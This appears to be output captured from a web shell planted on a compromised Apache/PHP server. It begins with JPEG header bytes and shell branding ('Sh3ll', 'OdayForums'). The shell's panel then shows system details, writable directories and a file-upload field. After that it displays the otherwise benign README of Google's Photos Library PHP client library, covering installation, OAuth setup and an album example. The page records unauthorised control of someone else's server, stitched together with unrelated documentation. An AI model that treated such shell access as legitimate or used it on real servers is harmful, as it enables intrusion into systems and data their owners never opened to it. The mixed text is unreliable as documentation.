ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/st2/vendor/google/photos-library/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/st2/vendor/google/photos-library/README.md
# Google Photos Library API PHP Client Library

This repository contains the PHP client library for the [Google Photos Library
API](https://developers.google.com/photos).

You can find [samples](#samples) for this library in the `samples` branch. See the samples section below.

## Requirements and Preparation

*   System requirements and dependencies can be found in `composer.json` of this
    library. See [this page](https://getcomposer.org/doc/01-basic-usage.md) for
    more details.
*   This library depends on [Composer](https://getcomposer.org/). If you don't
    have it installed on your computer yet, follow the
    [installation guide for Linux/Unix/OS X](https://getcomposer.org/doc/00-intro.md#installation-linux-unix-osx)
    or [installation guide for Windows](https://getcomposer.org/doc/00-intro.md#installation-windows).
    For the rest of this guide, we're assuming that you're using
    Linux/Unix/OS X and have Composer installed [globally](https://getcomposer.org/doc/00-intro.md#globally).
    Thus, your installed Composer is available on the command line as `composer`.
*   Your PHP installation must include the [`bcmath` extension](http://php.net/manual/en/book.bc.php).
*   To use this library to connect to the Google Photos Library API, you need an
    [OAuth 2 client ID and secret](https://developers.google.com/photos/library/guides/get-started#request-id).
    Make sure you've written down these credentials in advance.

## Getting started
Firstly, download the library, then set up OAuth 2.0 credentials to access the API.
Next, you can follow the [samples](#samples) to see the client library in action.

### Downloading this library

There are three ways of downloading this library as described below.

| Method                                                                | Target Users                                                                                                                  |
|-----------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------|
| [Using `composer require`](#using-composer-require)                   | If you want to **use this library as a third-party library** for your projects and do not require example files.          |
| [Using `git clone`](#using-git-clone)                                 | If you want to **alter or contribute to this library** (for example, submitting a pull request) or want to **run example files**. |
| [Downloading a compressed tarball](#downloading-a-compressed-tarball) | If you only want to **run example files**.                                                                                 |
#### Using composer require

Follow the below steps to download this library as a third-party library for your projects.
The library will be downloaded by Composer and stored under the `vendor/` directory.
**Examples are NOT downloaded by this download method.**

1.  Install the latest version using [Composer](https://getcomposer.org/).

    ```
    $ composer require google/photos-library
    ```

2.  Follow [Getting started](#getting-started) if you haven't done so.
3.  Follow [Setting up your OAuth2 credentials](#setting-up-your-oauth2-credentials)
    if you haven't set up the credentials yet.
4.  You can now use the library.

#### Using git clone

If you want to alter or contribute to this library (for example, submitting pull requests) or wish
to try our examples, follow the below method.
**All** files in this repository will be downloaded.

1.  Run `git clone https://github.com/google/php-photoslibrary.git` at
    the command prompt.
1.  You'll get a **php-photoslibrary** directory. Navigate to it by running
    `cd php-photoslibrary`.
1.  Run `composer install` at the command prompt. This will install all
    dependencies needed for using the library.
1.  Follow [Getting started](#getting-started) if you haven't done so.
1.  Follow [Setting up your OAuth2 credentials](#setting-up-your-oauth2-credentials)
    if you haven't set up the credentials yet.
1.  You can now use the library and [run any examples](#samples) you want.

#### Downloading a compressed tarball

This is suitable for those who only want to try out the Google Photos Library with this
client library. The extracted directory of the tarball will contain only the samples from the
`samples` branch.

1.  On the [releases page](https://github.com/google/php-photoslibrary/releases),
    select a version you want to try. Then, under **Download**, select the tarball
    of your choice, for example, **php-photoslibrary-samples-vX.Y.Z.tar.gz**.
1.  Extract your downloaded file to any location on your computer.
1.  Navigate to the extracted directory (for example, **php-photoslibrary-samples-vX.Y.Z**).
1.  Run `composer install` at the command prompt. This will install all dependencies
    needed for using the library and running examples.
1.  Follow [Getting started](#getting-started) if you haven't done so.
1.  Follow [Setting up your OAuth2 credentials](#setting-up-your-oauth2-credentials)
    if you haven't set up the credentials yet.
1.  You can now use the library and [run any examples](#run-samples) you want.


### Setting up your OAuth2 credentials

The Google Photos Library API uses [OAuth2](https://oauth.net/2/) as the
authentication mechanism. Note that service accounts are not supported.

Follow the [get started guide in the developer documentation](https://developers.google.com/photos)
to set up a Google developers account, enable the Google Photos Library API, and
configure OAuth 2.0 for your project.

This client library works with the [Google Auth Library for PHP](https://github.com/google/google-auth-library-php).
Specify the client secret JSON file when initialising the library.
Use the authentication credentials returned by the auth library when setting up the
`PhotosLibraryClient`. See the file [sample/src/common/common.php](https://github.com/google/php-photoslibrary/tree/samples/src/common/common.php)
for an example on how to do this.

## Basic Usage
The best way to learn how to use this library is to [review the samples](samples/).
The [developer documentation](https://developers.google.com/photos) also includes
code snippets for this client library in PHP.

Once you have set up the dependencies and OAuth 2 credentials, you can access
the API.
Here's a short example that shows how to create a new album:
```
// Set up the Photos Library Client that interacts with the API
$photosLibraryClient = new PhotosLibraryClient(['credentials' => $_SESSION['credentials']]);

// Create a new Album object with at title
$newAlbum = new Album();
$newAlbum->setTitle("My Album");

try {
    // Make the call to the Library API to create the new album
    $createdAlbum = $photosLibraryClient->createAlbum($newAlbum);
    // The creation call returns the ID of the new album
    $albumId = $createdAlbum->getId();
} catch (\Google\ApiCore\ApiException $exception) {
    // Error during album creation
    echo $exception;
}
```

## Samples
 Few samples are included in the [`samples` branch](https://github.com/google/php-photoslibrary/tree/samples) of this repository. They show how
 to access media items, filter media, share albums, and upload files.

## Documentation

PHPDoc for this library can be found in the [gh-pages](https://github.com/google/photos-library-php-lib/tree/gh-pages) branch of this repository.

General Google Photos Library API documentation can be found on our Google Developers
site: https://developers.google.com/photos

## Coding Style

We use PSR-2 as a coding style standard. Assuming that you're at the root
directory of your project, to check for coding style violations,
run

```
vendor/bin/phpcs src --standard=phpcs_ruleset.xml -np
```

To automatically fix (fixable) coding style violations, run

```
vendor/bin/phpcbf src --standard=phpcs_ruleset.xml
```

## Getting support

For client library specific bug reports, feature requests, and patches,
create an issue on the [issue
tracker](https://github.com/google/php-photoslibrary/issues).

See the [support page](https://developers.google.com/photos/library/support/how-to-get-help)
for any other API questions, bug reports, or feature requests.

## Announcements and updates

For general Google Photos Library API and client library updates and news, follow:

*   [PHP client library release notes](TODO)
*   [Google Photos Library API release notes](https://developers.google.com/photos/library/support/release-notes)

## License

Copyright 2018 Google LLC

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

    https://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

ZeroDay Forums Mini